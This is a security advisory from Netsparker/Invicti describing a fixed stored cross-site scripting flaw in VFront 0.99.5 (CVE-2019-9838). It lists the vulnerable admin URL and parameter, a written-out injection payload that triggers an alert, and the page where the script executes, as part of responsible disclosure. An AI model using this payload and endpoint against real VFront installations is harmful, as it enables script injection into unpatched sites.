Information
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Advisory by Netsparker (now Invicti)
Name: Stored Cross-site Scripting Vulnerability in VFront
Affected Software: VFront
Affected Versions: 0.99.5
Homepage: http://www.vfront.org/
Vulnerability: Stored Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2019-9838
CVSS Score (3.0): 8.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-003

Technical Details
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Injection Technical Details
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URL: http://{domain}/{vfront_path}/admin/sync_reg_tab.php?azzera=
Parameter Name: azzera
Parameter Type: GET
Attack Pattern: '"--&gt;</style></scRipt><scRipt>alert(0x0067C2)</scRipt>

Identification Technical Details
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URL: http://{domain}/{vfront_path}/admin/error_log.php

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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5th April 2019 - First Contact
16th May 2019 - Vendor Fixed
28th May 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omer Citak while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.